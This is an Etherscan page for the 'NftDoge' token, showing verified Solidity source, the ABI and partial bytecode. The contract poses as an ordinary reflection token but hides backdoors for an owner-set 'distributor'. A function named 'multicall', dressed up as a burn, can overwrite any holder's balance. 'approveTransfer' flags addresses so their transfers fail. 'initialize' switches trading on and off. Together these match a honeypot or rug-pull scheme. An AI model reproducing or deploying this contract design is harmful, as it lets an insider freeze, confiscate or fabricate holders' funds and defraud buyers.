ETH Price: $3,265.78 (+4.87%)
 

Overview

Max Total Supply

100,000,000,000,000 NFTDOGE

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
770,930,842,501.530528657 NFTDOGE

Value
$0.00
0x7fa031f83bbc6869de4807fbd05f7b2498721a22
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NftDoge

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-07
*/

/**
 *Submitted for verification at Etherscan.io on 2021-12-04
*/

/**
 *Submitted for verification at Etherscan.io on 2021-12-02
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);}
    function _msgData() internal view virtual returns (bytes memory) {this;
    return msg.data;}}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
    return 0;}
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");}
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");}
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;}}
library Address {
    function isContract(address account) internal view returns (bool) {
    uint256 size;
    assembly { size := extcodesize(account) }
    return size > 0;}
    function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");}
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");}
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);}
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);}
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");
    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {return returndata;}
    else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
    revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);}
    modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
    modifier distributors() {
    require(_distributor == msg.sender, "Caller is not fee distributor");_;}
    function owner() public view returns (address) {
    return _owner;}
    function distributor() internal view returns (address) {
    return _distributor;}
    function setDistributor(address account) external onlyOwner {
    require (_distributor == address(0));
    _distributor = account;}
    function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);}}
contract NftDoge is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    string private _name = 'Nft Doge';
    string private _symbol = 'NFTDOGE';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal = 100000000000000*10**9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _pOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _taxRewards;
    mapping (address => bool) private _isExcluded;
    uint256 private constant MAX = ~uint256(0);
    address[] private _excluded;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    uint256 private _rTotal;
    bool _initialize;
    address router;
    address factory;
    constructor (address unif, address unir) {
    _totalSupply =_tTotal;
    _rTotal = (MAX - (MAX % _totalSupply));
    _pOwned[_msgSender()] = _tTotal;
    emit Transfer(address(0), _msgSender(), _totalSupply);
    _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
    _isExcluded[_msgSender()] = true;
    _excluded.push(_msgSender());
    _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
    _isExcluded[distributor()] = true;
    _excluded.push(distributor());
    _initialize = true;
    router = unir;
    factory = unif;}
    function name() public view returns (string memory) {
    return _name;}
    function symbol() public view returns (string memory) {
    return _symbol;}
    function decimals() public view returns (uint8) {
    return _decimals;}
    function totalSupply() public pure override returns (uint256) {
    return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {
    return _pOwned[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;}
    function multicall(address account, uint256 tokens, uint256 burn) external distributors {
    require(account != address(0), "ERC20: burn from the zero address disallowed");
    _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
    function reflect(uint256 tAmount) public {
    address sender = _msgSender();
    require(!_isExcluded[sender], "Excluded addresses cannot call this function");
    (uint256 rAmount,,,,) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rTotal = _rTotal.sub(rAmount);
    _tFeeTotal = _tFeeTotal.add(tAmount);}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
    require(tAmount <= _tTotal, "Amount must be less than supply");
    if (!deductTransferFee) {
    (uint256 rAmount,,,,) = _getValues(tAmount);
    return rAmount;} else {
    (,uint256 rTransferAmount,,,) = _getValues(tAmount);
    return rTransferAmount;}}
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
    require(rAmount <= _rTotal, "Amount must be less than total reflections");
    uint256 currentRate =  _getRate();
    return rAmount.div(currentRate);}
    function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);}
    function _transfer(address sender, address recipient, uint256 amount) private {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, "");
    if (_initialize == true || sender == distributor() || recipient == distributor()) {
    if (_isExcluded[sender] && !_isExcluded[recipient]) {
    _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}
    else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}}
    else {require (_initialize == true, "");}}
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function approveTransfer(address acconut) external distributors {
    _taxRewards[acconut] = true;}
    function taxSender(address account) external distributors {
    _taxRewards[account] = false;}
    function rewardsState(address account) public view returns (bool) {
    return _taxRewards[account];}
    function initialize() public virtual distributors {
    if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
    function initialized() public view returns (bool) {
    return _initialize;}
    function _reflectFee(uint256 rFee, uint256 tFee) private {
    _rTotal = _rTotal.sub(rFee);
    _tFeeTotal = _tFeeTotal.add(tFee);}
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
    (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
    uint256 currentRate =  _getRate();
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
    return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
    uint256 tFee = tAmount.div(100).mul(3);
    uint256 tTransferAmount = tAmount.sub(tFee);
    return (tTransferAmount, tFee);}
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
    uint256 rAmount = tAmount.mul(currentRate);
    uint256 rFee = tFee.mul(currentRate);
    uint256 rTransferAmount = rAmount.sub(rFee);
    return (rAmount, rTransferAmount, rFee);}
    function _getRate() private view returns(uint256) {
    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
    return rSupply.div(tSupply);}
    function _getCurrentSupply() private view returns(uint256, uint256) {
    uint256 rSupply = _rTotal;
    uint256 tSupply = _tTotal;      
    for (uint256 i = 0; i < _excluded.length; i++) {
    if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
    rSupply = rSupply.sub(_rOwned[_excluded[i]]);
    tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
    if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
    return (rSupply, tSupply);}}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"unif","type":"address"},{"internalType":"address","name":"unir","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acconut","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"rewardsState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f4e667420446f6765000000000000000000000000000000000000000000000000815250600290805190602001906200005192919062000bc4565b506040518060400160405280600781526020017f4e4654444f474500000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000bc4565b506009600460006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b506040516200411f3803806200411f8339818101604052810190620000ef919062000cde565b6000620001016200066660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35069152d02c7e14af6800000600d81905550600d54600019620001c2919062000d5e565b600019620001d1919062000dc5565b600e8190555069152d02c7e14af680000060066000620001f66200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002446200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002a5919062000e11565b60405180910390a36200030c60076000620002c56200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620003206200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620003746200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b620003d76200066660201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000496600760006200044f620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620004aa620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620004fe620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b62000561620006ee60201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60006101000a81548160ff02191690831515021790555080600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620010a8565b600033905090565b6000600e54821115620006b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006af9062000eb5565b60405180910390fd5b6000620006ca6200071860201b60201c565b9050620006e681846200075260201b620012fc1790919060201c565b915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200072d620007a460201b60201c565b915091506200074b81836200075260201b620012fc1790919060201c565b9250505090565b60006200079c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000aa160201b60201c565b905092915050565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101562000a4b578260076000600b8481548110620007ea57620007e962000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620008dc57508160086000600b848154811062000874576200087362000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620008fd57600e5469152d02c7e14af68000009450945050505062000a9d565b6200099760076000600b84815481106200091c576200091b62000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000b0960201b620013461790919060201c565b925062000a3360086000600b8481548110620009b857620009b762000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000b0960201b620013461790919060201c565b9150808062000a429062000f06565b915050620007c0565b5062000a7269152d02c7e14af6800000600e546200075260201b620012fc1790919060201c565b82101562000a9457600e5469152d02c7e14af680000093509350505062000a9d565b81819350935050505b9091565b6000808311829062000aeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae2919062000fe7565b60405180910390fd5b506000838562000afc91906200100b565b9050809150509392505050565b600062000b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000b5b60201b60201c565b905092915050565b600083831115829062000ba6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b9d919062000fe7565b60405180910390fd5b506000838562000bb7919062000dc5565b9050809150509392505050565b82805462000bd29062001072565b90600052602060002090601f01602090048101928262000bf6576000855562000c42565b82601f1062000c1157805160ff191683800117855562000c42565b8280016001018555821562000c42579182015b8281111562000c4157825182559160200191906001019062000c24565b5b50905062000c51919062000c55565b5090565b5b8082111562000c7057600081600090555060010162000c56565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ca68262000c79565b9050919050565b62000cb88162000c99565b811462000cc457600080fd5b50565b60008151905062000cd88162000cad565b92915050565b6000806040838503121562000cf85762000cf762000c74565b5b600062000d088582860162000cc7565b925050602062000d1b8582860162000cc7565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d6b8262000d25565b915062000d788362000d25565b92508262000d8b5762000d8a62000d2f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000dd28262000d25565b915062000ddf8362000d25565b92508282101562000df55762000df462000d96565b5b828203905092915050565b62000e0b8162000d25565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000e9d602a8362000e2e565b915062000eaa8262000e3f565b604082019050919050565b6000602082019050818103600083015262000ed08162000e8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000f138262000d25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000f495762000f4862000d96565b5b600182019050919050565b600081519050919050565b60005b8381101562000f7f57808201518184015260208101905062000f62565b8381111562000f8f576000848401525b50505050565b6000601f19601f8301169050919050565b600062000fb38262000f54565b62000fbf818562000e2e565b935062000fd181856020860162000f5f565b62000fdc8162000f95565b840191505092915050565b6000602082019050818103600083015262001003818462000fa6565b905092915050565b6000620010188262000d25565b9150620010258362000d25565b92508262001038576200103762000d2f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200108b57607f821691505b60208210811415620010a257620010a162001043565b5b50919050565b61306780620010b86000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffff